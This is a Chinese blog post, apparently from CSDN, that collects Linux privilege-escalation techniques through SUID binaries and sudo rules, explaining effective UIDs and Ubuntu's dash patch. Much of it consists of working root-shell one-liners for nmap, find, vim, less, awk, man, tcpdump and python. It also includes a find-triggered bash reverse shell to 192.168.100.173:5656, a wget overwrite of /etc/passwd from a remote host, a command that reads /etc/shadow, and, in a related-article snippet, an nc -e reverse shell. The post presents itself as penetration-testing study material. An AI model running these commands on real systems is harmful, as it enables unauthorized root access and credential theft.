记一次Linux安全提权总结

最新推荐文章于 2023-06-13 19:38:30 发布
最新推荐文章于 2023-06-13 19:38:30 发布
阅读量622 收藏 6
点赞数 2
文章标签： linux 网络安全 信息安全 web安全 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/kali_Ma/article/details/120316131
版权

前言：人们赞美流星，是因为它燃烧着走完自己的全部路程。

一、初识SUID

1.suid的简介

suid即set user id，是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在Linux下很常见。
已知的可以用来提权的Linux可执行文件有：
CopyNmap、Vim、find、Bash、More、Less、Nano、cp
比如常用的ping命令。ping需要发送ICMP报文，而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前，使用Raw Socket是需要root权限的（当然不是说引入CAPABILITIES就不需要权限了，而是可以通过其他方法解决，这个后说），所以你如果在一些老的系统里ls -al $(which ping)，可以发现其权限是-rwsr-xr-x，其中有个s位，这就是suid：

  1. root@linux:# ls -al /bin/ping
  2. -rwsr-xr-x 1 root root 44168 May 7 2021 /bin/ping

设置了s位的程序在运行时，其Effective UID将会设置为这个程序的所有者。比如，/bin/ping这个程序的所有者是root，它设置了s位，那么普通用户在运行ping时其Effective UID就是0，等同于拥有了root权限。

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID：
Real UID 执行该进程的用户实际的UID，谁通过shell运行就是谁
Effective UID 程序实际操作时生效的UID，一般在进程启动时，直接由Real UID复制而来；或者是当进程对应的可执行文件的suid标志位为s时，为该文件的所属用户/组。所以利用suid文件进行提权需要2个前提：文件的所有者是 0 号或其他super user 文件拥有suid权限
在os层面目前常见发行版linux也会对suid的权限进行限制，具体可以参考p神这篇文章 ，把suid的提权简单抽象为一个c代码：

  1. int main(int argc, char* argv[]) {
  2. return system(argv[1]);
  3. }

编译并赋予suid权限：

  1. root@linux:/tmp# gcc suid.c -o suid
  2. root@linux:/tmp# chmod +s suid

2021最新整理网络安全\渗透测试/安全学习（全套视频、大厂面经、精品手册、必备工具包）一>点我<一

2./etc/sudoers 语法

  1. root ALL=(ALL) ALL

root 用户可以从 ALL（任何）终端执行，充当ALL（任何）用户，并运行ALL（任何）命令。第一部分指定用户，第二部分指定可充当用户，第三部分指定 sudo 可运行的命令。

touhid ALL= /sbin/poweroff

输入 touchid 的密码，可以 sudo 执行 poweroff 命令。

touhid ALL = (root) NOPASSWD: /usr/bin/find

不输入密码,可以 sudo 执行 find 命令。

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID：

Real UID 执行该进程的用户实际的UID

Effective UID 程序实际操作时生效的UID（比如写入文件时，系统会检查这个UID是否有权限）

Saved UID 在高权限用户降权后，保留的其原本UID（本文中不对这个UID进行深入探讨）

通常情况下Effective UID和Real UID相等，所以普通用户不能写入只有UID=0号才可写的/etc/passwd；有suid的程序启动时，Effective UID就等于二进制文件的所有者，此时Real UID就可能和Effective UID不相等了。

有的同学说某某程序只要有suid权限，就可以提权，这个说法其实是不准确的。只有这个程序的所有者是0号或其他super user，同时拥有suid权限，才可以提权。

2. 查找具有 SUID 权限位文件

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说，这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们，然后将所有错误重定向到/dev/null，从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null``find / -perm -u=s -type f 2>/dev/null``find / -user root -perm -4000 -exec ls -ldb {} ;

也可以使用 sudo -l 命令列出当前用户可执行的命令

image.png

二、常见的提权方式

1.Nmap

nmap是一个经典的端口扫描工具，当目标主机存在版本在2.02-5.21之间的nmap且os的版本在上面受影响的范围内或更早就可以尝试使用这种方法进行提权。

nmap --interactive //进入交互模式

image.png

nmap -v //查看版本

image.png

nmap> !sh sh-3.2# whoami root

image.png

Metasploit也有利用SUID Nmap进行提权攻击:
exploit/unix/local/setuid_nmap
image.png

nmap提权失败可能出现的原因：

nmap在高版本中限制了suid权限

lua脚本中限制了suid权限

新版Linux系统对子进程的suid权限进行了限制

2.Find

如果find以SUID权限运行，所有通过find执行的命令都会以root权限运行。

image.png

$ find 1sh -exec bash -i >&amp; /dev/tcp/192.168.100.173/5656 0>&amp;1 \;

image.png

3.Vi/Vim

vim是linux下常见的文本编辑器，但是如果vim被配置了suid权限，那么运行时就会获取高权限进而对只有root用户才有权限读写的文件进行操作或获取高权限shell。在vi/vim中按下esc再输入一下内容即可获取到root的shell :

image.png

image.png

vim.tiny``Press ESC key``:set shell=/bin/sh``:shell

image.png

4.bash

bash -p``id

image.png

###5.Less/More

Less 和 more 都可以执行提权的shell

less /etc/passwd

image.png

!/bin/sh

image.png

6.python/perl/ruby/lua/php/etc

python -c "importos;os.system(’/bin/bash’)

7.cp覆盖 /etc/shadow 或 /etc/passwd

image.png

8.mv

覆盖 /etc/shadow 或 /etc/passwd

9.其它方式

nano

nano /etc/passwd

awk

awk 'BEGIN {system("/bin/sh")}'

man

man passwd

!/bin/bash

wget

wget http://192.168.56.1:8080/passwd -O /etc/passwd

apache

仅可查看文件，不能弹 shell：

apache2 -f /etc/shadow

tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test

chmod +x /tmp/.test

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

python/perl/ruby/lua/php/etc

python

python -c "import os;os.system('/bin/bash')"

perl

exec "/bin/bash";

三、查找SUID权限文件

以下命令可以找到正在系统上运行的所有SUID可执行文件，命令将从 / 目录中查找具有SUID权限位且属主为root的文件并输出它们，然后将所有错误重定向到/dev/null，从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm ``-4000``-``print``2``>/dev/null``find / -perm -u=s -type f ``2``>/dev/null``find / -user root -perm ``-4000``-exec ls -ldb {} \;

不同版本下linux的不同输出：

Linux发行版输出结果
Ubuntu 14.04uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
Ubuntu 16.04uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ubuntu 18.04uid=33(www-data) gid=33(www-data) groups=33(www-data)
CentOS 6uid=33(www-data) gid=33(www-data) groups=33(www-data)
CentOS 8uid=33(www-data) gid=33(www-data) groups=33(www-data)
Debian 6uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
Debian 8uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
Kali 2019uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ubuntu 16.04的不同之处就在dash目录：

下载其中的dash_0.5.8.orig.tar.gz和dash_0.5.8-2.1ubuntu2.diff.gz并分别解压，我们可以看到dash 0.5.8的原始代码，和Ubuntu对其做的patch。

我们对原始代码进行patch后，会发现多了一个setprivileged函数：

void setprivileged(int on)
{
    static int is_privileged = 1;
    if (is_privileged == on)
        return;
    is_privileged = on;

    /*
     * To limit bogus system(3) or popen(3) calls in setuid binaries, require
     * -p flag to work in this situation.
     */
    if (!on && (uid != geteuid() || gid != getegid())) {
        setuid(uid);
        setgid(gid);
        /* PS1 might need to be changed accordingly. */
        choose_ps1();
    }
}

on的取值取决于用户是否传入了-p参数， 而uid和gid就是当前进程的Real UID(GID)。可见，在on为false，且Real UID 不等于Effective UID的情况下，这里重新设置了进程的UID：

setuid(uid)

setuid函数用于设置当前进程的Effective UID，如果当前进程是root权限或拥有CAP_SETUID权限，则Real UID和Saved UID将被一起设置。

所以，可以看出，Ubuntu发行版官方对dash进行了修改：当dash以suid权限运行、且没有指定-p选项时，将会丢弃suid权限，恢复当前用户权限。

这样以来，dash在suid的表现上就和bash相同了，这也就解释了为什么在Ubuntu 16.04以后，我们无法直接使用SUID+**system**()的方式来提权。

总结：
suid提权是渗透测试种经常遇到的情况，遇见的不同系统、不同环境都会有不同的提权方式，掌握多种提权方式是渗透的必备的。

kali_Ma
关注
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用（二）
杨秀璋的专栏
04-11 1万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了Vulnhub靶机渗透的环境搭建和JIS-CTF题目，采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程连接、Shell提权等获取5个flag。本文将讲解DC-1提权和Drupal漏洞利用，通过信息收集、CMS漏洞搜索、Metasploit反弹shell、提权及数据库爆破获取flag。本文是一篇Web渗透的基础性文章，希望对您有所帮助。
网络安全从入门到精通（特别篇I）：Linux安全事件应急响应之Linux应急响应基础必备技能
最新发布
HACKONE的博客
04-10 238
awk 首先将每条日志中的IP抓出来，如日志格式被自定义过，可以 -F 定义分隔符和 print指定列；
记录一次针对linux的提权
tanw923的博客
08-08 428
记录一次linux提权的方法1.实验环境下查看内核版本，该版本存在本地提权漏洞2.whoami查看为tanw用户3.使用vim编写以下开源代码的c程序4.编译该c程序5.运行该编译的c程序，显示#，已经提权成功6.查看当前的状态 内核版本需3.13.0-3.19，如Ubuntu 12.04/14.04/14.10/15.04 1.实验环境下查看内核版本，该版本存在本地提权漏洞 2.whoami查...
记一次初步Linux提权
weixin_30906701的博客
03-19 62
前言、 提权这么久了 还是头一次提下Linux的服务器。。。 由于之前一直钻研的win服务器 要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文、 st2漏洞页面 http://www.dainar.com/index.action 　　 可以看到是root权限的 接着就是想办法添加一个root组的用户 由于添加...
linux提权方法（不断更新）
qq_42430287的博客
04-13 625
1.suid提权 搜索符合条件的可以用来提权的： find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; find / -user root -perm -4000 -print 2>/dev/null 三种都可以 搜索可以提权的程序，一般有以下 ： nmap vi...
Linux提权详解（一）
胖虎的博客
10-30 703
Linux提权方法和详解
记一次phpmailer漏洞+UDF提权.pdf
03-14
在提权过程中，我们使用了多种工具，包括nmap、ssh、wpscan、mysql、IE、dirsearch、searchsploit、nc、sraps-cane等。我们还使用了python语言来编写POC，实现了反弹shell登陆MySQL数据库。 在攻击结束后，我们总结...
对Linux 提权的简单总结
CanMeng'Blog - 一个WEB安全渗透的技术爱好者
11-30 895
什么是权限 在Linux 系统中，ls -al即可查看列出文件所属的权限。这里我用kali 系统来演示。 …… drwxr-xr-x 2 kali kali 4096 Jan 27 12:52 Downloads -rw-r--r-- 1 root root 903 Jun 14 11:33 exp.html -rw-r--r-- 1 root root 153600 May 5 09:42 flag lrwxrwxrwx 1 kali kali 28 May 1.
护网面试题总结+DD安全工程师笔试问题
09-15
知识点：Linux 提权方法包括 Linux 内核漏洞提权、低权限用户目录下可被 Root 权限用户调用的脚本提权（SUID）、环境变量劫持高权限程序提权、sudoer 配置文件错误提权等。 23. 数据库有哪些，关系型的和？ 知识点...
【内网安全】——Linux提权姿势
Demo不是emo的博客
02-08 5778
Linux提权姿势汇总
内网渗透常用提权方式总结
j1044957016的博客
06-01 7667
内网菜鸡艰难学习，希望一样的菜鸡能省去打开一堆链接的时间吧
利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限
Fengg--Focus Oracle
06-29 7375
提权：利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限 RHEL5-RHEL6下面都可以实现，root的UID是零 创建一个普通用户 useradd andy 切换到andy用户 su - andy 查看当前用户是谁 whoami 查看tmp目录权限 [andy@bogon tmp]$ ll -d /tmp drwx
Linux提权————利用SUID提权
Fly_鹏程万里
05-23 2万+
bgvfdcfhjmkjnhb
靶场提权总结
devil8123665的博客
07-21 2615
1 find root权限提权 find / -perm -u=s -type f 2>/dev/null 查看find权限 find /var/www/index.php -exec whoami \; 返回为“root” 设置nc 反弹shell find /var/www/index.php -exec nc -lvp 9999 -e /bin/sh \; 2 exim4 提权 find / -perm -u=s -type f 2>/dev/null 找到root权
linux 提权总结
weixin_51681694的博客
06-13 7707
会继续补充.....
Linux下用SUID提权
热门推荐
谢公子的博客
12-07 2万+
关于SUID详细：Linux下的用户、组和权限 SUID可以让调用者以文件拥有者的身份运行该文件，所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件，那么我们运行该文件的时候就得获得root用户的身份了。 已知的可用来提权的linux可行性的文件列表如下： nmap vim find bash more less nano cp 以下命令可以发现系统上运行...
Linux怎么对当前目录提权,linux提权方法(不断总结更新)
weixin_28331555的博客
04-29 776
1.suid提权运行某些程序时暂时获得root的权限，例如ping(socket需要root才能运行)搜索符合条件的可以用来提权的：find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;find / -user root -perm -4000 -print 2>/dev...
Linux提权方法总结
内心不种满鲜花就会长满杂草
03-23 7040
当我们拿到了一台Linux服务器的低权限账号，于是，我们想要通过技术手段提权至root用户权限,以执行更多的操作。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值